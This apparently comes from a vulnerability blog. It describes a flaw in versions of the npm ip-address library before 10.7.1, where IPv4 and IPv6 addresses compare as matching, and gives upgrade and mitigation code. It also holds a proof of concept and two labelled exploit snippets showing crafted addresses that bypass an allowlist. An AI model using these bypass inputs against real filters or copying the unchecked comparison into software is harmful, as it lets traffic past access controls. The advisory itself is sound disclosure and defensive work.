Listen to this Post
The `ip-address` npm library is a JavaScript utility for parsing and manipulating IPv4 and IPv6 addresses. Prior to version 10.7.1, its `isInSubnet()` and `isHostInSubnet()` methods compare masked binary strings without validating that both operands belong to the same IP family. The `mask(n)` function returns the first n bits of an address as a string of `0` and 1, taken from a representation padded to the family’s width: `Address4` pads to 32 bits, and `Address6` pads to 128 bits. When the leading bits of a cross-family pair happen to agree, the string equality check reports containment even though IPv4 and IPv6 do not share an address space. For example, `new Address6(‘a00::1’).isInSubnet(new Address4(‘10.0.0.0/8’))` returns `true` because both mask to 00001010, and `new Address4(‘32.0.0.1’).isInSubnet(new Address6(‘2000::/3’))` returns `true` because both begin with 001. The signature admits either family on either side, so TypeScript raises nothing, and the `v4` property on `Address6` marks IPv4 notation (e.g., ::ffff:10.0.0.1) rather than family, so it does not discriminate either. An application that parses untrusted input as whichever family accepts it and then tests the result against a fixed-family allowlist can therefore admit an address outside the list. Which cross-family pairs coincide depends on the network’s prefix length: `mask(n)` on an `Address4` returns at most 32 bits, so an IPv6 network longer than `/32` never matches an IPv4 address, and an IPv6 network of `/32` or shorter matches exactly the IPv4 addresses whose leading bits equal its prefix. Conversely, an IPv4 network of at most 32 bits matches every IPv6 address whose leading bits equal its prefix. In the allowlist direction the check admits an address outside the list; in the denylist direction it blocks an address outside the list. The coincidence can admit is narrow: an IPv6 allowlist of `/32` or shorter admits the IPv4 addresses its prefix spells (e.g., `2001:db8::/32` admits exactly 32.1.13.184, and `2000::/3` admits 32.0.0.0/3), while an IPv4 allowlist admits IPv6 addresses that sit in blocks IANA has not allocated. A request admitted through this defect reaches an address outside the intended list, not an internal host, and the severity reflects that. The issue is fixed in version 10.7.1, where `isHostInSubnet()` returns `false` when the two addresses are of different families, and `isInSubnet()` inherits the answer. The methods keep accepting either family so existing call sites compile. A caller that means to compare across families converts first, with Address6.fromAddress4(), to4(), or toAddress4Nat64(): `new Address6(‘::ffff:10.0.0.1’).to4().isInSubnet(new Address4(‘10.0.0.0/8’))` is true, as before. If you cannot upgrade immediately, compare the classes before you compare the addresses: const contained = host.constructor === network.constructor && host.isInSubnet(network);. These methods are address classifiers, not a complete SSRF defense; a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects.
DailyCVE Form:
Platform: NPM ip-address
Version: < 10.7.1
Vulnerability: CWE-697
Severity: Medium
date: 2026-09-28
Prediction: 2026-10-15
What Undercode Say:
Analytics
Install the vulnerable version npm i [email protected] Check the installed version npm list ip-address
// PoC: Cross-family allowlist bypass
const { Address4, Address6 } = require('ip-address');
// An allowlist of the application's own IPv6 range
const allowed = new Address6('2001:db8::/32');
function parse(host) {
return Address4.isValid(host) ? new Address4(host) : new Address6(host);
}
// Inputs to test
const inputs = ['2001:db8::1', '2001:db9::1', '32.1.13.184', '32.1.13.185'];
for (const h of inputs) {
console.log(parse(h).isInSubnet(allowed) ? 'ALLOW' : 'BLOCK', h);
}
// Output on affected versions:
// ALLOW 2001:db8::1
// BLOCK 2001:db9::1
// ALLOW 32.1.13.184
// BLOCK 32.1.13.185
Check current version of ip-address in your project npm audit Force an upgrade to the patched version npm install [email protected]
How Exploit: (Educational Purposes!)
// Exploit: IPv6 allowlist bypass with IPv4 input
const { Address4, Address6 } = require('ip-address');
// Application allowlist defined as an IPv6 subnet
const allowlist = new Address6('2001:db8::/32');
// Malicious input: an IPv4 address whose leading 32 bits match the IPv6 prefix
const maliciousHost = '32.1.13.184';
// Application parses input as whichever family is valid
const parsed = Address4.isValid(maliciousHost) ? new Address4(maliciousHost) : new Address6(maliciousHost);
// The check incorrectly returns true
if (parsed.isInSubnet(allowlist)) {
console.log('ACCESS GRANTED to', maliciousHost);
} else {
console.log('ACCESS DENIED');
}
// Exploit: IPv4 allowlist bypass with IPv6 input
const { Address4, Address6 } = require('ip-address');
// Application allowlist defined as an IPv4 subnet
const allowlist = new Address4('203.0.113.0/24');
// Malicious input: an IPv6 address whose leading 24 bits match the IPv4 prefix
const maliciousHost = 'cb00:7100::1';
const parsed = Address4.isValid(maliciousHost) ? new Address4(maliciousHost) : new Address6(maliciousHost);
if (parsed.isInSubnet(allowlist)) {
console.log('ACCESS GRANTED to', maliciousHost);
} else {
console.log('ACCESS DENIED');
}
Protection: from this CVE
// Immediate mitigation without upgrading: compare classes first
const { Address4, Address6 } = require('ip-address');
function safeIsInSubnet(host, network) {
// Ensure both addresses are of the same family
if (host.constructor !== network.constructor) {
return false;
}
return host.isInSubnet(network);
}
const allowed = new Address6('2001:db8::/32');
const parsed = new Address4('32.1.13.184');
console.log(safeIsInSubnet(parsed, allowed)); // false
Upgrade to the patched version npm install [email protected] Verify the upgrade npm list ip-address Audit for vulnerabilities npm audit fix
// After upgrading, cross-family comparisons are safe
const { Address4, Address6 } = require('ip-address');
// The patched isHostInSubnet returns false for different families
const result = new Address6('a00::1').isInSubnet(new Address4('10.0.0.0/8'));
console.log(result); // false
// Explicit conversion for legitimate cross-family checks
const converted = new Address6('::ffff:10.0.0.1').to4();
console.log(converted.isInSubnet(new Address4('10.0.0.0/8'))); // true
Impact:
An application that relies on `ip-address` for allowlist or denylist decisions can be tricked into admitting traffic from addresses that lie outside the intended subnet. In the allowlist direction, this admits an address outside the list; in the denylist direction, it blocks an address outside the list. The CVSS 4.0 base score is 6.3 (Medium) with Network attack vector, Low attack complexity, and Low integrity impact. The vulnerability enables unauthorized access or privilege escalation in systems that trust the library for network filtering, though the practical exploitability is narrow because the coinciding addresses are typically public IPv4 addresses or unallocated IPv6 blocks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

